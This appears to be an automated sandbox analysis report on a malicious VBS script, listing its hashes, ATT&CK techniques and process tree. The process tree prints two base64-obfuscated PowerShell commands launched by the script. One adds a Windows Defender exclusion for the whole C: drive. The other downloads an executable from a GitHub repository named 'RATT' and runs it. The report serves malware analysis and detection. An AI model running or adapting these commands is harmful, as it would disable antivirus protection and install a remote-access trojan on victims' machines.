d223100bff707f45e8e2d609e64cb84c936ad09b097357dfc0d68cccfe97ed3e

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240419-en
resource tags

arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
submitted
04-06-2024 09:22

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General

Target

d223100bff707f45e8e2d609e64cb84c936ad09b097357dfc0d68cccfe97ed3e.vbs
Size

289KB
MD5

ac7f96ac94ca748354e7db225aa1a5b2
SHA1

98be163399271b71337afbc716b6a313ea1941e6
SHA256

d223100bff707f45e8e2d609e64cb84c936ad09b097357dfc0d68cccfe97ed3e
SHA512

862f9d5bc0d4ba27cfa7d75b4974e4eb37d30f53de883419c3e1e7c62fb525a2964e8431b5b5c91e1d2654db5446bba60320d196b148b35480eec2ed2cc26692
SSDEEP

6144:Xm/uolvrxUXllOuQcTN5eZ2cH5d/ozSxCP27kbn8buCW+ZFU/Chpav1GUTs8quIr:W2svrwmuQ2yp5keCPtb8b1HZSCSDs8q/

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2160	powershell.exe
2668	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2160	powershell.exe
2668	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2160	powershell.exe
Token: SeDebugPrivilege	2668	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2488 wrote to memory of 2444	2488	WScript.exe	28
PID 2488 wrote to memory of 2444	2488	WScript.exe	28
PID 2488 wrote to memory of 2444	2488	WScript.exe	28
PID 2444 wrote to memory of 2160	2444	WScript.exe	29
PID 2444 wrote to memory of 2160	2444	WScript.exe	29
PID 2444 wrote to memory of 2160	2444	WScript.exe	29
PID 2444 wrote to memory of 2668	2444	WScript.exe	31
PID 2444 wrote to memory of 2668	2444	WScript.exe	31
PID 2444 wrote to memory of 2668	2444	WScript.exe	31

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\d223100bff707f45e8e2d609e64cb84c936ad09b097357dfc0d68cccfe97ed3e.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2488
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\d223100bff707f45e8e2d609e64cb84c936ad09b097357dfc0d68cccfe97ed3e.vbs" /elevate
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2444
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $TNuiO = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAJwA=')); Invoke-Expression -Command $TNuiO
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2160
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $unLyJ = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('aQB3AHIAIAAtAFUAcgBpACAAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBkAGUAdgBjAHIAaQBpAGkALwBSAEEAVABUAC8AcgBhAHcALwBtAGEAaQBuAC8AYgB1AGkAbAB0AC4AZQB4AGUAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAGUAbgB2ADoAVABFAE0AUABcAHgAbABlAFUAaABaAEQATABRAEcAUABNAHMAaABlAGQAUABhAHQAWABxAFoALgBlAHgAZQA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGUAbgB2ADoAVABFAE0AUABcAHgAbABlAFUAaABaAEQATABRAEcAUABNAHMAaABlAGQAUABhAHQAWABxAFoALgBlAHgAZQA=')); Invoke-Expression -Command $unLyJ
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2668

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
8b3ccc503fda9da5c16fc8a7fb945c69

SHA1
bf141c3b691817e039f76366cb39ec7607172c77

SHA256
bfb985427914d4565fc242dc707e64a16d6716719ce390ad5dd392af9ae3efdc

SHA512
f21575e7c4fc6a4942d934f3e25f011b3415c2d396a93af26f3d8f23174c511d1d77e861b2e53eef848a88d007026a208fd2dc80a07e55952cc847af231aaf26

Download Submit
memory/2160-4-0x000000001B590000-0x000000001B872000-memory.dmp

Filesize
2.9MB

Download
memory/2160-5-0x0000000001E80000-0x0000000001E88000-memory.dmp

Filesize
32KB

Download
memory/2668-11-0x000000001B750000-0x000000001BA32000-memory.dmp

Filesize
2.9MB

Download
memory/2668-12-0x00000000022A0000-0x00000000022A8000-memory.dmp

Filesize
32KB

Download